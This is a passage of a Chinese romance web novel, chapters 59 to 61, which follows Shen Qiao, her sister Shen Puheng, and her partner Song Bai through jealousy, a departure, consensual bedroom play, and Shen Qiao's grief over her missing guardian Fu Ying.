陈青野不惜一切代价,找来了美国最顶尖的医疗团队,为他重做修复手术,又配备了最专业的复健团队全程照料。而沈蒲蘅也放下一切,远程请教导师和师兄师姐,每日为他针灸、熬煮中药,一点点帮他慢慢恢复。 花了整整大半年的时间,耗尽了时间、精力与金钱,才终于把他从死亡线上拉回来,让他重新拥有了过上平静生活的可能。 可现在,他却说要再回云南,要进边防,要重新踏入那种朝不保夕、生死一线的日子。 说实话,沈蒲蘅真的无法接受。 她比谁都清楚,自己此刻拥有的安稳与和平,是无数不知姓名的人在背后用命和牺牲换来的。 可清楚归清楚,当这份牺牲落在自己最亲近的人身上时,她做不到坦然,更做不到无动于衷。 陈延已经付出得够多了。 他不该再拿命去赌。 她张了张嘴,想要劝说,却又不知道怎么劝,千言万语堵在喉咙里,最终只化作满心的酸涩。 就在这时,坐在客厅的沈荞察觉到了不对劲,起身快步朝厨房走来。刚走到门口,便看见姐姐通红的眼眶,瞬间慌了神。 “姐姐,你怎么哭了?” 沈蒲蘅慌忙拭去眼角的湿意,扯出一个温柔的笑容:“没事,姐姐只是突然想外公了。” 这次沈蒲蘅前往丰城,就是为了给外公扫墓。而这,也提醒了沈荞,她和姐姐,只有一半的血缘关系。 见姐姐这么说,沈荞也就没有再多问。 这一整天,沈蒲蘅都没有再出门,寸步不离陪着沈荞。夜幕降临,陈青野不在家,姐妹俩自然而然地躺在了一张床上。 沈荞紧紧抱着姐姐,鼻尖萦绕着姐姐身上独有的、安心的气息,心底满是温暖与依赖。而沈蒲蘅轻轻搂着怀里的妹妹,指尖温柔抚着她的长发,心底心事翻涌。 沉默良久,她终于轻声开口:“荞荞,你喜欢宋柏吗?” 沈荞不解姐姐为何突然提起宋柏,却也没有多想,只回答:“我不知道。” 沈荞懵懂,沈蒲蘅却心底了然。 她是经历过感情的人,当年面对陈青野时,她也曾说过“不知道”。可这三个字,从来都不是否定,而是最隐晦的答案。 如果是不喜欢,那就会干脆利落说“不喜欢”,而不是犹豫着说不知道。 她轻轻拍着沈荞的背,又轻声问:“那陈延呢?” 沈荞几乎没有犹豫:“喜欢啊,他对我很好。” 很好…… 这两个字,让沈蒲蘅轻轻叹了口气,没有再追问。 沉默片刻,反倒是沈荞主动开了口,声音小小的:“姐姐……” 沈蒲蘅低头,温声应道:“嗯?” “我不喜欢陈青野。” 沈荞很直白,也很嫌弃。 原本心头沉郁的沈蒲蘅,瞬间被逗笑了。 同住一个屋檐下几个月,她怎会看不出自己妹妹和陈青野之间针锋相对的气场。一个性子执拗,一个性子霸道,凑在一起总是互不相让。 可一个是失而复得的宝贝妹妹,一个是从十六岁便陪在她身边的丈夫,她只能尽力从中调和,哄完这个,再安抚那个,努力维持着平衡。 沈蒲蘅笑着揉了揉沈荞的头发,轻声安抚了几句。沈荞蜷缩在姐姐怀里,过了许久,才又小声开口:“姐姐,我想搬回去。” 本以为沈荞只是撒娇的沈蒲蘅,闻言瞬间僵住,心头一紧:“搬回哪里去?” 沈荞抬起手,指了指窗外的方向,沈蒲蘅顺着看去,瞬间明白,她说的是对面的小区。 沈蒲蘅心头微动,刚想开口,沈荞又接着说:“过几天索尼娅要来,她想和我一起住。” “索尼娅是谁?” 沈蒲蘅柔声问道。 沈荞的眼睛瞬间亮了起来:“索尼娅是我的朋友。” 她叽叽喳喳和姐姐分享着和索尼娅相识的点滴,虽然只是只言片语,沈蒲蘅也听出,这个叫索尼娅的姑娘家境优渥。而她也瞬间明白,沈荞想搬走的原因。 现在住的房子太小了,根本容不下那个叫索尼娅的小姑娘一起生活。 这套房子,是外公去丰城前的旧居,她来京城上大学后,陈青野瞒着她偷偷买下,当作惊喜送给她。对她而言,这里藏着无数珍贵的回忆,即便这几年陈青野赚了钱,提出换一套大房子,她也从没想过搬。 可如今,看着妹妹期待的眼神,沈蒲蘅开始认真考虑这件事。 “你喜欢对面那套房子吗?” 那套房子是傅英为她准备的,装修完全按照她的喜好来,又离姐姐家这么近,沈荞自然喜欢。 沈蒲蘅看着她,温柔笑道:“那姐姐把它买下来,送给你当礼物,好不好?” 沈荞歪着头:“那房子本来就是我的。” 沈蒲蘅一愣:“宋柏把房子写你名下了?” 沈蒲蘅至今不知道傅英的存在,所以她一直以为对面的房子是宋柏的。而沈荞也被问得一怔,回过神后,轻轻点了点头。 她不想和姐姐提起傅英,也无法解释房子的事。既然姐 姐觉得是宋柏买的,那就宋柏吧。 看着妹妹,沈蒲蘅没有再多问,只是心里默默盘算,要找机会把房款转给宋柏,她不能让她妹妹平白无故接受别人的东西,尤其是宋柏的。 谈恋爱归谈恋爱,她不希望在金钱这件事上,让自己的妹妹处于下位。 这一夜,姐妹俩抱在一起,说了许多小话,再入睡时,都快午夜了。早上再醒来,是沈蒲蘅先醒来的,除了她有良好的作息外,还因为她听到从隔壁传来的争吵声。 是陈青野和陈延在吵架。 不用细听,她也能猜得他们在吵什么。 陈青野心里,一直对陈延怀着愧疚。他总觉得,如果当初不是他把沈荞托付给陈延照看,陈延就不会暴露行踪,更不会落得后来那般境地,受那么多罪。 哪怕陈延后来反复说,他的事和旁人无关,他以身犯险,也不只是为了沈荞,陈青野心里的那份自责,也始终散不去。 陈延在洛杉矶做康复训练时,他就已经开始为陈延筹划回国后的工作,他希望陈延能留在京城,彼此也好有个照应。 这些日子,他想了很多,也做了很多。 而沈蒲蘅,太了解他了。他此刻看似在和陈延争执,实则是在跟自己较劲,在气自己。 听着隔壁的动静,沈蒲蘅没有去劝的意思,只是轻手轻脚下床,拿过一副降噪耳机,轻轻戴在还在熟睡的妹妹头上,随后转身走进了厨房。 等早饭做好,隔壁的争吵也停了。 沈蒲蘅端着早餐从厨房出来时,陈青野正好从门外进来。 接到她消息便匆匆赶回来的陈青野,此时神色憔悴,脸色更沉得吓人。沈蒲蘅只看一眼,便懂了结果。 她轻轻放下餐盘,走上前,牵住他的手。 “如果这是他想要的,我们就尊重他。” 陈青野沉着脸,一言不发,只是伸手,将她紧紧拥进怀里。 陈延要离开的事,沈荞在睡醒后就知道了。陈延亲自和她说的,只是陈延和她说的是,他要回闻城。 沈荞不解:“为什么要回闻城,你在这不开心吗?” 陈延:“开心,但这不是我的家。” 沈荞抿着唇,摆明了不开心。 陈延揉了揉她的头:“你要是想我,可以随时给我打电话。” 陈延本也可以说,他可以随时来看她,但他知道,那是不可能的,他不想对她许下不可能的承诺。 这几个月平静安稳的生活,就像一场温柔梦。时间到了,梦也该醒了。 陈延要离开的消息,让沈荞整个人都陷进了低落里。宋柏打电话过来,刚一接通,就听出了她的不对劲。 “怎么了。” 沈荞:“陈延要走了。他要回闻城。” 宋柏并不喜欢从她口中听到陈延这两个字,可这一次,他什么都没说,只宽慰她:“只是去闻城,又不是再见不到了。” 沈荞心里当然也清楚,可情绪就是压不下去,鼻尖也微微发酸。 她好不容易才找到了姐姐,找到陈延…… 现在的一切,比她原想的还要好,她本来以为这样的生活可以一直延续,可才几个月,就变了。 沈荞:“那不一样。” 第60章 只哄你 即便沈荞满心不情愿, 陈延还是在年后离开了。她原以为很快就能再见,谁知这一隔,便是整整一年。不仅没见到陈延,他的消息还越来越少, 进了夏天, 他更是两个月, 一条消息都没有。 沈荞给姐姐打电话, 说想去闻城找陈延时, 是在宋柏的办公室里。 电话接通时,宋柏正埋首处理文件, 连头都没抬起。等电话挂断的瞬间,他合上文件大步走来, 不等沈荞反应,便俯身将她打横抱起, 径直走向里间的休息室。 “砰”的一声,休息室的门被重重关上。 沈荞被放在宽大的床上,下一秒, 宋柏便俯身覆了上来, 气息沉沉。 “沈荞,你是不是当我不存在?” 陈延走后, 他以为终于能清净,可这一年多, 他依旧时不时就能从她听到陈延的名字。每听一次,他心底的闷火便多一分。 而沈荞, 这一年多,也从对感情懵懂无知,变得敏锐。一看宋柏这紧绷隐忍的模样, 就知道他又在吃醋。 面对吃醋的宋柏,她也早摸出了对付他的法子。 她伸手捧住他的脸,仰头“吧唧”一声,在他唇上亲了一口。 宋柏的脸色非但没缓和,反而更沉了几分。 “沈荞,你这是在敷衍谁?” 沈荞被磨得有些烦了,抬眼瞪他:“那你到底想怎样?” 宋柏的视线缓缓下移,落在她泛红的脸颊与脖颈间。沈荞想也不想便伸手推开了他。 “不行,晚上我要去姐姐家吃饭。” 陈延走后,索尼娅来了,沈荞就从姐姐家搬了出来。索尼娅离开后,她也没有再搬回去,只是偶尔过去住两晚、吃顿晚饭,更多的时间,都被宋柏缠在他27楼的大平层里。 今晚,是早就说好要去姐姐家吃饭的日子。 以往宋柏有分寸,从不会在这种日子缠着她。可今天,他像是失了所有耐心。 宋柏低头,在她纤细的脖颈上轻轻咬了一口。 沈荞吃痛,下意识抬手就要打他。早有防备的宋柏头都未抬,稳稳擒住她的手腕,十指相扣,将她的手牢牢按在床沿。 一声细碎的呜咽溢出,沈荞不仅失了双手的自由,唇瓣也被他狠狠堵住。 盛夏的天,黑得格外晚。等到沈荞终于重获喘息时,窗外早已彻底沉入夜色。她浑身脱力,连抬手的力气都没有,更别说打他。 也就在此时,她姐姐的电话打了进来。 餍足后的宋柏拿过手机,随手划开,贴在她耳边,指尖还带着温度,轻轻摩挲着她光裸的背脊。 沈荞浑身发软,连说话都带着未散的情欲。 “姐姐……” 电话那头的沈蒲蘅一听她这语调,就知道电话打的不是时候,也清楚,今晚是等不到妹妹过来了。 电话很快挂断。沈荞缓过些许力气,转头抓住宋柏的手臂,狠狠咬了下去。 常年锻炼的男人手臂紧实坚硬,硌得她腮帮子生疼,宋柏面无表情,像是丝毫感受不到疼。 沈荞气闷,松开嘴:“明天我就搬回姐姐家住。” 刚才还淡定自若的宋柏,听见这句话,脸色骤然一沉,声音冷了几分:“你敢。” 沈荞把头埋进被子里,不理他。 宋柏见状,语气瞬间软了下来,俯身轻轻吻着她的后背,低声哄道:“今晚陪你玩游戏。” 沈荞抬眸看他:“玩多久?” “你想玩多久,就玩多久。” 这一年多,沈荞一直按时吃药,除了偶尔情绪失控,发过几次脾气、砸过几次东西,其余时间都还算稳定。这背后,除了药物的作用,更多的,是宋柏的陪伴。 只要察觉沈荞情绪不对,宋柏就会用最亲密的方式安抚她,浮浮沉沉间,让她发泄同时,也让她陷不进情绪里。久而久之,她的情绪渐渐平稳,只是依旧不愿踏入人群,也不愿去学校,只在家看书、看宋柏找来的线上课程,或者打游戏。 而最近一个月,她迷上了一款游戏,常常抱着游戏手柄坐在电视前,一坐就是一整天,废寝忘食。 宋柏劝也劝过,哄也哄过,全都没用,无奈之下,只能把她带在身边上班,时时看着。 可他怎么也没想到,她竟当着他的面,说要去找陈延。 宋柏甚至觉得,她就是故意的,故意在气他。 一听可以打游戏,沈荞立刻忘了搬回家的话,眼底泛起浅浅的光。 宋柏抱着她走出办公室时,整层楼已空无一人。回去的路上,沈荞窝在他怀里,沉默许久,突然轻声开口:“下个月,我要去卡塔赫纳。” 已是七月,转眼便是八月。 去年八月,宋柏陪着沈荞又去过一次卡塔赫纳,今年他也早已做好准备,再陪她走 一趟。 可沈荞却说:“今年我自己去,不用你陪了。” 三年了,今年是傅英失踪的第三年。 他依旧杳无音信,半点踪迹都寻不到。 宋柏说过,事不过三。 沈荞从最初的偏执等待、自我欺骗,到如今,终于慢慢开始接受。 傅英,大概再也不会回来陪她过生日了。 这是最后一次,她在心里默默想。 最后一次,去等他。 宋柏看着她骤然沉寂下来的侧脸,沉默片刻,轻轻点头:“好。” 回到小区,电梯直达27楼。 一进门,沈荞便头也不回地走进主卧,连外衣都没脱,径直钻进被子里,把自己裹得严严实实。 宋柏站在门口,静静看着她蜷缩的背影,心里清楚,她又陷进了那些无人能触碰的情绪里。 她的情绪向来如此,来得毫无预兆。 前一秒还能笑着闹着,下一秒便会跌入低谷,沉默不语。以往,宋柏会想尽办法耗尽她所有力气,让她没空胡思乱想。可这一次,他没有。 不是因为才温存过,而是因为他比谁都清楚,即便过去了两年多,傅英依旧是她心底最深、最不能触碰的疤。 宋柏没有打扰她,只是把饭端来,哄着她吃了几口,又看着她吃了药,才上床静静抱着她。 抱着抱着,他也沉沉睡了过去。 再醒来时,他刚睁眼,就撞进她湿漉漉的眼睛里,她眼底一片清澈,还没等他彻底清醒,就听见她冷不丁开口:“你能帮我查一个人在哪吗?” 宋柏知道,她要找的不是陈延。 因为她到现在都以为,陈延已经回了闻城。 他哑着嗓子问:“谁?” 沈荞淡淡开口:“我亲爹。” 自从送花的误会解释清楚后,不知是不是沈蒲蘅跟陈青野说了什么,陈青野对他的态度明显好了不少。宋柏也清楚,往后一辈子,他和陈青野作为连襟,总归要抬头不见低头见,便也主动放低了姿态。 这一年多,两人除了商业上的往来,私下联系也渐渐多了起来。他也从陈青野口中,得知了更多的事。 比如,她们姐妹俩的亲爹,早已被陈青野送去了非洲挖矿。 说实话,刚知道这件事的时候,宋柏恨不得立刻派人去了结了那个人渣,是陈青野拦住了他。 那人再不堪,终究是她们姐妹血缘上的父亲,无论如何,也不该由他们动手。 更何况,与其让他死得痛快,倒不如让他就这样一直受折磨。 宋柏忍了又忍,才将心头的戾气压了下去。 即便知道所有真相,宋柏也从未在沈荞面前提过半个字,更没料到她会突然问起。 宋柏轻轻摸了摸她的头:“怎么突然想起他了?” 沈荞咬牙,勾起一抹阴狠的笑:“我要去炸死他。” 当初她去闻城,本就是冲着弄死他去的,可阴差阳错,他被陈青野提前送走了。 后来一桩桩一件件的事接踵而至,让她根本无暇再想起这个人。 可现在……他也该去死了。 沈荞眼神冰冷,宋柏却面不改色。 他本以为她只是一时兴起,没想到她连游戏都没心思玩了,追着他问了好几次。宋柏这才意识到,她根本不是说说而已。 思来想去,他还是给陈青野打了电话。 当天晚上,沈蒲蘅就给沈荞打来了电话,叫她回家吃晚饭。 沈荞没多想便答应了,收拾好准备出门时,见宋柏也站起身,不由得疑惑:“你干什么?” 宋柏:“去你姐姐家吃饭啊,你姐姐也邀请我了。” 她姐姐确实邀请过宋柏好几次,沈荞没有多想,便带着他一起去了。 还是那间老旧的房子,陈青野在狭小的厨房里忙碌,宋柏去阳台接电话,沈荞则被姐姐拉到沙发上坐下。 一开始只是些寻常的关心问话,沈荞都乖乖应答。直到沈蒲蘅突然开口:“荞荞,你想去找他,对不对?” 沈荞愣了许久,才反应过来姐姐口中的“他”是谁。 她下意识抬头看向阳台,阳台上的宋柏也恰好回头,两人四目相对。 沈荞的眼神瞬间一沉,可转回头看向姐姐时,眼底所有情绪尽数收敛,依旧是那副温顺的模样。 “他该死。”沈荞冷冷道。 沈蒲蘅轻轻抚着她的头:“姐姐知道你恨他,姐姐也不喜欢他。姐姐不是不让你去,只是非洲太危险了,这个季节蚊虫特别多,万一染上疟疾,姐姐怎么能放心。” 面对姐姐的担忧,沈荞乖顺点点头:“我知道了,姐姐。” 沈蒲蘅松了口气,伸手抱住了她。 一顿饭,气氛很和睦,两个男人聊着生意上的事,姐妹俩坐在一起说悄悄话,时不时,两个男人还会分神给她们夹菜剥虾,一切都显得温馨又平静。 直到饭后,沈荞趁着姐姐去洗手间的空隙,悄悄钻进厨房,走到正在洗碗的陈青野身边。 陈青野见她进来,还有些意外,随即听见她开口:“告诉我他在哪,否则我就搬回来,天天缠着姐姐跟我一起睡。” 陈青野的脸色瞬间沉了下来。 沈荞语气坚定:“我说到做到。” 再从厨房出来时,沈荞已经顺利拿到了自己想要的信息。在姐姐面前,她依旧不动声色,甚至姐姐提出要送她们下楼时,她还牵着宋柏的手婉拒了。 可刚走出楼道,确认姐姐看不见后,沈荞立刻冷下脸,面无表情狠狠甩开了宋柏的手。 “你又利用我姐姐?” 这已经不是第一次了。这一年多,每次他不想让她做什么,就会告诉陈青野,陈青野再转告给她姐姐。 她又不是傻子,怎么可能看不出来。 别的事也就算了,可这件事,她绝不可能妥协。 沈荞生气,宋柏则无奈。 她那个爹,是死是活、怎么死,他根本不在乎,甚至他比她更想动手。可他不能,她更不能。 无关法律,他只是不确定,她能不能承受住这样的刺激。 眼看就要到八月,她又要去卡塔赫纳等傅英,不仅不让他跟着,现在还想跑去非洲炸死自己的亲爹。 她可以任性,可他不能拿她的身体健康打赌。 宋柏伸手想跟她解释,却被她一把甩开,紧接着,她头也不回地往前走。 回到小区,走进电梯,她连看都不看他一眼,直接按下26楼。宋柏试图上前抱她,却被她抬手甩了一巴掌。 “别碰我。” 冰冷的女声在狭小的电梯里散开。 宋柏僵在原地,脸颊微微发烫,却没有半分怒意,只有满心的无奈。他垂着眼,静静看着她气鼓鼓又带着委屈的侧脸,柔了眉眼。 “我没有利用你姐姐,”他低声解释,语气里带着惯有的纵容,“你姐姐说的没错,非洲现在确实太危险。但如果你真想去,我陪你去。” 话音落,电梯门应声而开,沈荞抿着唇,一言不发地往外走。宋柏立刻跟上,脚步放轻,不敢逼得太紧,生怕再惹她生气。 沈荞刷开大门,又当着宋柏的面“砰”地一声关上。 宋柏在门外站了片刻才抬手轻轻敲了敲门板:“别生气了,我陪你去,好不好?” 屋内的沈荞背靠着门,心里那股火气在打他的时候就散了大半。 她知道宋柏从来都是向着她的,知道他比谁都护着她,比谁都在意她。 可她,就是生气。 气他利用姐姐来绑住她,气他明明懂她的恨,却还要拦着 她。 门外没再传来动静,过了很久,沈荞悄悄拉开一条门缝,刚打开,就看见他站在门口。见她开门,他掀起眼帘,眼底漾开温柔的光。 “不生气了?” 他小心翼翼问。 沈荞别过脸,嘴硬道:“谁生气了。” 嘴硬归嘴硬,却还是侧身,给他让开了门。 宋柏立刻进门,反手轻轻带上门,上前一步,从身后环住她的腰,下巴抵在她发顶,声音温柔:“是我不好,下次我不偷偷找你姐姐了,好不好?” 他身上干净清冽的气息裹住她,温暖又安心。 沈荞挣扎了两下,没挣开,也就任由他抱着,声音闷闷的:“你就会哄我。” “只哄你。”宋柏低头,在她发顶轻轻印下一个吻,语气认真,“这辈子,就哄你一个。”《 》 60-65 第61章 接受事实 床头吵架床尾和。 虽说算不上真吵架, 只是沈荞单方面生了气,可宋柏在把人哄好之后,还是迫不及待将她拐上了床。 只是真上了床,事情却跟他预想的完全不一样。 “荞荞, 你想做什么?” “解开。” 宋柏平躺在床上, 双手被银色手铐牢牢扣在床头, 他微微挣了两下, 没挣动。抬眸, 看向跪坐在身前、正慢悠悠把玩着钥匙的沈荞,低沉的嗓音不自觉染上几分暗哑。 沈荞摩挲着冰凉的钥匙, 抬眸看向他,唇角不仅噙着淡笑, 眼底还藏着狡黠,哪里还有半分生气的模样。 “不解。” 她吐出两个字, 语气强势又霸道。 宋柏的喉结滚动了下,视线落在她白里透红的脸颊上,又顺着往下, 落进她松垮的衣领里。只觉着卧室里的空气瞬间变得燥热。 “荞荞, 别闹。” 他语气听着像在纵容,眼底却燃着暗火, “解开,嗯?” 沈荞非但没动解, 反而伸手,指尖轻轻抚过他紧绷的下颌线, 一路滑到他颈侧,另一只手缓缓抚上他的胸膛,感受着他骤然加快的心跳, 指尖微微用力。 “我生气的时候,你不是很有办法吗?” 沈荞贴着他耳廓,气息轻吐。 “现在……求我啊。” 宋柏呼吸一滞,感受着被她指尖划过时带来的细微痒意,他浑身紧绷,眼底的情欲也翻涌得几乎要溢出来。 “这又是索尼娅给你寄的是吗……” 他哑声开口,目光牢牢锁在她脸上,“她还给你寄了什么?” 自从索尼娅来了一趟中国后,沈荞便和索尼娅重新恢复了联系。即使索尼娅回了意大利,沈荞也时常和她通视频电话。 这一年多,沈荞不仅在情事上开了窍,在床上也开始时不时占据主动权,而这些,多半都是索尼娅的功劳。 如果不是索尼娅总爱撺掇着她折腾他,宋柏倒真想好好谢一谢索尼娅。 沈荞不语,只是静静看着他。 宋柏声音放软,诱哄道:“荞荞,乖,松开我。” 平时,他都是连名带姓叫她沈荞,也从来不会让她乖。可一到床上,就一口一个荞荞,温柔得不像话。 沈荞看着他眼底翻涌的暗潮,自然清楚他藏着什么心思。但今天,她就是不想让他如意。 一是他刚惹她生了气,二是…… 沈荞直起身,指尖转着钥匙,姿态慵懒又嚣张:“想让我放开你也可以,先答应我两件事。” 她慢慢俯身,贴近他的耳侧:“不然,你今天别想下床。” 宋柏喉间发紧,看着她嚣张肆意的模样,心底暗火更盛。 “什么事?” “第一,这次去卡塔赫纳,我要自己坐飞机。” “第二,不许让许莫言跟着,也不许安排任何保镖跟着我。” 说着,她抬手轻轻敲了敲手铐,金属传来的微震感,清清楚楚传到他的手腕上。 “这两条,你答应,我就解。不答应……” 沈荞轻笑一声,姿态高傲, “今天晚上你就这么睡吧。” 宋柏被她这副理直气壮的模样弄得无奈,他盯着她半晌,才哑着嗓子开口。 “行。” 沈荞微微一怔,显然没料到他答应得这么干脆。 “我答应你。”宋柏抬眸,眼底暗潮翻涌,“去卡塔赫纳,你自己坐飞机,不让许莫言跟着,也不让保镖跟着,都依你。” 他顿了顿,喉结轻滚。 “现在,可以解开了吗?” 沈荞盯着他看了好一会儿,确认他不像是在耍花招后,拿着钥匙刚要凑近手铐,放在床头的手机却忽然响了起来。 她动作一顿,下意识伸手捞过手机,屏幕上跳动的“姐姐”二字让她瞬间绷紧了神经。 姐姐很少会这么晚给她打电话。 沈荞抬眼飞快瞥了一眼宋柏,眼看着他张口要说话,她根本来不及细想,随手抓过床边一团柔软的布料,毫不犹豫往他嘴里塞了进去。 宋柏眼眸一颤,喉间溢出一声模糊的闷哼。 沈荞没空管他,划开接听键,起身下了床,压低声音接起了电话。 “姐姐。” 姐姐这么晚来电,是特意提醒她,明天记得去医院做针灸。 沈荞乖顺应下,匆匆结束通话,等她转过身,目光落在被束缚在床头、嘴里含着布料的宋柏身上时,呼吸一滞。 他平躺在那儿,双手被高高铐在床头,冰冷的手铐锁着他线条利落的手腕,小臂上青筋隐隐绷起。衬衫松垮敞着,紧实肌理若隐若现,薄唇被柔软布料堵住,平日里低沉强势的嗓音尽数闷在喉间。 被迫温顺的姿态,和他平日里的果决强势简直判若两人,该死的禁欲,又该死的性感…… 而这时,她才看清,自己慌乱中塞过去的,竟是她今天出门前,随手丢在床边的内裤。 刚才还想着解开手铐的念头,在这一刻烟消云散。 沈荞非但没有上前取下塞在他嘴里的柔软布料,反而一步步缓缓走回床边,眼底掌控欲愈发浓烈。 她不想解开了。 就这样,刚刚好。 她屈膝跪坐回他身前,微微俯身,指尖轻轻抚过他紧抿的唇线,隔着柔软的布料,轻轻摩挲。 下一秒,她微微偏头,微凉的唇瓣落在他凸起的锁骨上,狠狠一咬。 这一咬很重,带着十足的挑衅与掌控,瞬间点燃了他紧绷的神经。 沈荞抬头,看着他眼底翻涌的情绪,笑得放肆,她将唇轻轻贴在他耳畔,低声呢喃: “想知道,索尼娅还给我寄了什么吗?” 她抬手,指尖轻轻拂开他额前微乱的碎发,动作温柔,眼底却盛满了狡黠。 宋柏浑身紧绷,喉间发出一声沉闷的低响,一向深沉的眼底,此刻翻涌着近乎失控的暗流。 他动弹不得,口不能言,只能任由她这般肆意撩拨,每一寸隐忍都被她轻而易举地挑到极致。 沈荞看着他这副从未有过的被动模样,心底那点小小的得意与雀跃瞬间漫了上来。 “急什么?” 她俯下身,气息浅浅洒在他脸上,故意顿了顿,指尖缓缓下滑,划过他线条分明的下颌,停在他唇边轻轻按了按。 “手铐不用解,这个……也不用拿出来。” “反正你已经答应我了,如果你反悔,我会生气……会很生气。” 宋柏盯着她,目光深邃又灼热,他微微抬了抬被铐住的手,金属轻响,像是在无声地抗议,又像是在纵容她所有的胡闹。 沈荞被他看得心头微痒,再也按捺不住,再度俯身,指尖顺着他敞开的衬衫领口缓缓滑入,轻轻蹭过他温热紧实的肌理,动作肆意又张扬。 房间里静得只剩下彼此的呼吸,空气一点点升温,灼得让人发烫。 “宋柏,”她轻声唤他,语气带着几分得逞的小得意,“你现在这样子,真可爱。” 话音刚落,她便看见男人眸色骤然一沉。 那是熟悉的、隐忍到了极致,试图反扑的眼神。 沈荞笑笑,故意凑得更近。 “这就急了……你耐心怎么这么差。” 宋柏非但没有不耐,被堵住的喉间反而溢出一声低沉又愉悦的闷哼。 他在外向来强势,占据绝对主动权,可在她面前,从遇到她的第一天起,就注定被她拿捏。 而眼下,被铐住、被堵住嘴…… 是纵容她,也是情趣。 宋柏微微抬身,隔着那层柔软的布料,主动朝她靠近了几分。 而感受到他动作的沈荞,瞬间懂了。 这个人,从始至终都在陪着她玩。 她咬了咬唇,索性不再客气,指尖微微用力。 宋柏眸色滚烫,深邃的眼眸牢牢锁着她,灼热又缱绻。 抬眼撞上他视线的沈荞,又气又笑。 “你是不是……很享受?” 男人不说话,只是眼尾微微弯起,喉间又发出一声愉悦的闷哼,算是默认。 沈荞看着他这副摆明了乐在其中的模样,咬咬牙。 既然如此,那她今晚不会放过他。 * 沈荞是在紧实的臂弯间醒来的。 睁眼,微微抬眸,她撞进了一双深邃的眼眸里。男人不知已经醒了多久,指尖正轻轻顺着她的发丝,眼神慵懒。 沈荞刚醒,喉咙还有些发紧,刚要开口,目光却下意识往床下一瞥。 凌乱的衣 物散了一地,银色手铐、细长皮鞭、几缕松散的红绳随意丢在地毯上,狼藉一片。 所有昨晚被她用来拿捏他的东西,就这么大大方方摊在眼前,无声张扬着昨夜的肆意。 宋柏顺着她的视线看去,低笑了一声,胸腔微微震动。 “看什么?”他低头,在她发顶印下一个轻吻,语气慵懒又欠揍,“昨晚还没玩够?” 沈荞收回目光,指尖轻轻划过他胸口未消的浅痕,淡淡瞥了他一眼:“到底是谁没玩够。” “我。” 宋柏坦然承认。 “只要是你,我都没够。” 沈荞瞪他一眼,没接话,只是安静躺回他怀里,“东西记得收起来,别让何婶看见。” “嗯。” 宋柏应声,指尖轻轻摩挲着她的腰侧,语气里带着几分漫不经心的逗弄。 “所以,收起来后,藏哪里?” “或者我应该问,你还藏了什么?” 沈荞抬眸,冷冷扫了他一眼,抬脚就要踹他,察觉到她意图的宋柏,抬腿就压住了她的腿,手臂微微收紧,将她抱得更贴近自己。 “好了,不问。” 他低头,唇瓣擦过她的耳尖,温温热热。 “反正不管你藏了什么,我都陪你玩。” 沈荞:“到底是谁陪谁玩。” 昨晚,她早早就够了,是他求她,求她继续。 折腾了大半夜的沈荞,还没完全缓过劲来,这会也不想搭理他,也不想听他再说话,抬手就捂住了他的嘴。 安静了片刻后,沈荞才松开手。 “卡塔赫纳的事,说好了,不许反悔。” 宋柏:“不反悔,我不让许莫言跟着你,也不让保镖跟着你。” 宋柏是不让许莫言跟着,也不让保镖跟着。 可是,还有陈青野在。 沈荞要去卡塔赫纳的事,瞒得过她姐姐,却瞒不住陈青野。 刚被她摆过一道的陈青野,态度更是强硬又冷酷:“要么带我给你的保镖,要么,我现在就告诉你姐。” 向来两看相厌的姐夫和小姨子,再次针锋相对。 沈荞僵持许久,最终咬着牙硬声应下。 一转头,她便怒气冲冲冲进书房,直直冲到宋柏面前。 “是不是你告诉陈青野的……” 宋柏伸手把她搂进怀里。 “才惹了你生气,我怎么敢顶风作案。” 沈荞不信,宋柏伸手,打开一边的木盒,露出盒子里的黑色马鞭。 “如果是我做的,那我就让你抽。你想抽多少下,抽多少下。” 沈荞抽他了,不过不是用马鞭,而是用手。 “我就知道是你。” 沈荞这次真生气了,哄都哄不好的那种。 不仅又砸了宋柏的酒柜和酒,还直接回了26楼,当场换掉门锁密码,将宋柏彻底拒之门外。 不见他,不听他解释,连一句话都不肯跟他说。 就连出发去卡塔赫纳那天,宋柏早早等在她门口,她也看都不看一眼,带着陈青野硬塞来的保镖,径直上车赶往机场。 她不肯理他,不肯上他的车,宋柏便一路默默跟在后面。 跟到机场,看着她过安检,走进头等舱休息室,直到她的背影彻底消失在视线里,他才深深叹了口气。 他比谁都清楚她想干什么。 不要他,不要保镖,不坐他的私人飞机。 她从始至终,都没放弃去非洲的念头。 他不想在她气头上再惹她不快,才答应得干脆,转头让陈青野出面。 她本来就讨厌陈青野,再多讨厌一点没什么? 而且陈青野也很配合。 本想着她的怒火会冲陈青野去,没想到还是波及到他。 宋柏思索着该怎么哄她时,跟着她去了卡塔赫纳的保镖,也定时传回她的消息。 她又漫无目的游走在卡塔赫纳的街头,从早到晚,一天又一天! 她又到了那个码头,静坐等待。 只不过还没有静坐太久,就出现了一个试图和她搭讪的男人,然后被心情显然还没有恢复的她,一脚踹进了海里。 突然出现的男人,让她本就糟糕的情绪,更恶劣了,她甚至不在码头停留了,直接上车,去了机场,买了回国的机票。 然后,等待登机时,她借口去免税店,趁机甩开了跟在身后的保镖。 暗中尾随的保镖眼睁睁看着她重新买了一张飞往埃塞俄比亚的机票。 她是真的打算甩开所有人,独自前往非洲。 保镖慌乱请示该怎么办,宋柏只淡淡回了一句:“汇报给陈总。” 果不其然,没过多久,她就接到了电话。 宋柏不知道陈青野究竟和她说了什么,只知道她很快丢掉了那张机票,回到了休息室,登上了回国的航班。 他早早等在机场,本想第一时间接她,可看着她冰冷的脸,他清楚,此刻出现,只会让她更加生气。 于是他一路默默跟着,跟着她回到小区。 她回了26楼,他便回了27楼,换了睡衣,假装已经睡下。 可多久,门便被她推开。 她踩着他的胸膛,用上了木盒里那根黑色马鞭。 半夜折腾,他以为她的气至少消了几分。 谁知他不过起身接了一通电话的功夫,主卧就传来动静。她不仅砸了主卧,连刚重新装好不久的酒柜和客厅,也被她砸得稀碎。 他看着站在一地狼藉里的她,心头刚动,就发现她的脚被碎片划破,渗出血迹。 宋柏立刻上前将她抱到沙发上,低头为她处理伤口。 她却红着眼骂他贱,说他越是这样,她越不会放过他。 宋柏求之不得。 给她处理完伤口,她让他脱裤子,他没有半分犹豫,照做。 她想发泄,他便心甘情愿陪她发泄。 直到她窝在他怀里,声音带着明显的哭腔,哑声开口:“我还是没有找到傅英,他真的死了……” 傅英失踪的第三年,她终于接受了这个事实。 而当初逼着她清醒、逼她接受现实的宋柏,此刻心头只剩下密密麻麻的疼,再无半分其他。 第62章 为什么 在那一句带着哭腔的喃语后, 